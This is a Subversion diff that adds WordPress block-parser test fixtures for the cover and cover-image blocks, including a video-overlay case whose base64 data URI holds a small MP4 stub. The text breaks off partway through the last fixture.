--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.parsed.json	(revision 56912)
@@ -0,0 +1,23 @@
+[
+    {
+        "blockName": "core/cover-image",
+        "attrs": {
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "dimRatio": 40
+        },
+        "innerBlocks": [],
+		"innerHTML": "\n<div class=\"wp-block-cover-image has-background-dim-40 has-background-dim\" style=\"background-image:url(https://cldup.com/uuUqE_dXzy.jpg)\">\n    <p class=\"wp-block-cover-image-text\">Guten Berg!</p>\n</div>\n",
+		"innerContent": [
+			"\n<div class=\"wp-block-cover-image has-background-dim-40 has-background-dim\" style=\"background-image:url(https://cldup.com/uuUqE_dXzy.jpg)\">\n    <p class=\"wp-block-cover-image-text\">Guten Berg!</p>\n</div>\n"
+		]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+		"innerHTML": "\n",
+		"innerContent": [
+			"\n"
+		]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:cover-image {"url":"https://cldup.com/uuUqE_dXzy.jpg","dimRatio":40} -->
+<div class="wp-block-cover-image has-background-dim-40 has-background-dim" style="background-image:url(https://cldup.com/uuUqE_dXzy.jpg)"><p class="wp-block-cover-image-text">Guten Berg!</p></div>
+<!-- /wp:cover-image -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover-image.server.html	(revision 56912)
@@ -0,0 +1,5 @@
+
+<div class="wp-block-cover-image has-background-dim-40 has-background-dim" style="background-image:url(https://cldup.com/uuUqE_dXzy.jpg)">
+    <p class="wp-block-cover-image-text">Guten Berg!</p>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.html	(revision 56912)
@@ -0,0 +1,5 @@
+<!-- wp:core/cover {"url":"https://cldup.com/uuUqE_dXzy.jpg","dimRatio":40} -->
+<div class="wp-block-cover has-background-dim-40 has-background-dim" style="background-image:url(https://cldup.com/uuUqE_dXzy.jpg)">
+    <p class="wp-block-cover-text">Guten Berg!</p>
+</div>
+<!-- /wp:core/cover -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.json	(revision 56912)
@@ -0,0 +1,17 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/cover",
+        "isValid": true,
+        "attributes": {
+            "title": "Guten Berg!",
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "contentAlign": "center",
+            "hasParallax": false,
+            "dimRatio": 40,
+            "backgroundType": "image"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-cover has-background-dim-40 has-background-dim\" style=\"background-image:url(https://cldup.com/uuUqE_dXzy.jpg)\">\n    <p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.parsed.json	(revision 56912)
@@ -0,0 +1,23 @@
+[
+    {
+        "blockName": "core/cover",
+        "attrs": {
+            "url": "https://cldup.com/uuUqE_dXzy.jpg",
+            "dimRatio": 40
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-cover has-background-dim-40 has-background-dim\" style=\"background-image:url(https://cldup.com/uuUqE_dXzy.jpg)\">\n    <p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-cover has-background-dim-40 has-background-dim\" style=\"background-image:url(https://cldup.com/uuUqE_dXzy.jpg)\">\n    <p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:cover {"url":"https://cldup.com/uuUqE_dXzy.jpg","dimRatio":40} -->
+<div class="wp-block-cover has-background-dim-40 has-background-dim" style="background-image:url(https://cldup.com/uuUqE_dXzy.jpg)"><p class="wp-block-cover-text">Guten Berg!</p></div>
+<!-- /wp:cover -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover.server.html	(revision 56912)
@@ -0,0 +1,5 @@
+
+<div class="wp-block-cover has-background-dim-40 has-background-dim" style="background-image:url(https://cldup.com/uuUqE_dXzy.jpg)">
+    <p class="wp-block-cover-text">Guten Berg!</p>
+</div>
+
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.html	(revision 56912)
@@ -0,0 +1,6 @@
+<!-- wp:cover {"url":"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=","dimRatio":10,"customOverlayColor":"#3615d9","backgroundType":"video"} -->
+<div class="wp-block-cover has-background-dim-10 has-background-dim" style="background-color:#3615d9">
+	<video class="wp-block-cover__video-background" autoplay muted loop src="data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE="></video>
+	<p class="wp-block-cover-text">Guten Berg!</p>
+</div>
+<!-- /wp:cover -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.json	(revision 56912)
@@ -0,0 +1,18 @@
+[
+    {
+        "clientId": "_clientId_0",
+        "name": "core/cover",
+        "isValid": true,
+        "attributes": {
+            "title": "Guten Berg!",
+            "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=",
+            "contentAlign": "center",
+            "hasParallax": false,
+            "dimRatio": 10,
+            "customOverlayColor": "#3615d9",
+            "backgroundType": "video"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-cover has-background-dim-10 has-background-dim\" style=\"background-color:#3615d9\">\n\t<video class=\"wp-block-cover__video-background\" autoplay muted loop src=\"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=\"></video>\n\t<p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video-overlay.parsed.json	(revision 56912)
@@ -0,0 +1,25 @@
+[
+    {
+        "blockName": "core/cover",
+        "attrs": {
+            "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=",
+            "dimRatio": 10,
+            "customOverlayColor": "#3615d9",
+            "backgroundType": "video"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-cover has-background-dim-10 has-background-dim\" style=\"background-color:#3615d9\">\n\t<video class=\"wp-block-cover__video-background\" autoplay muted loop src=\"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA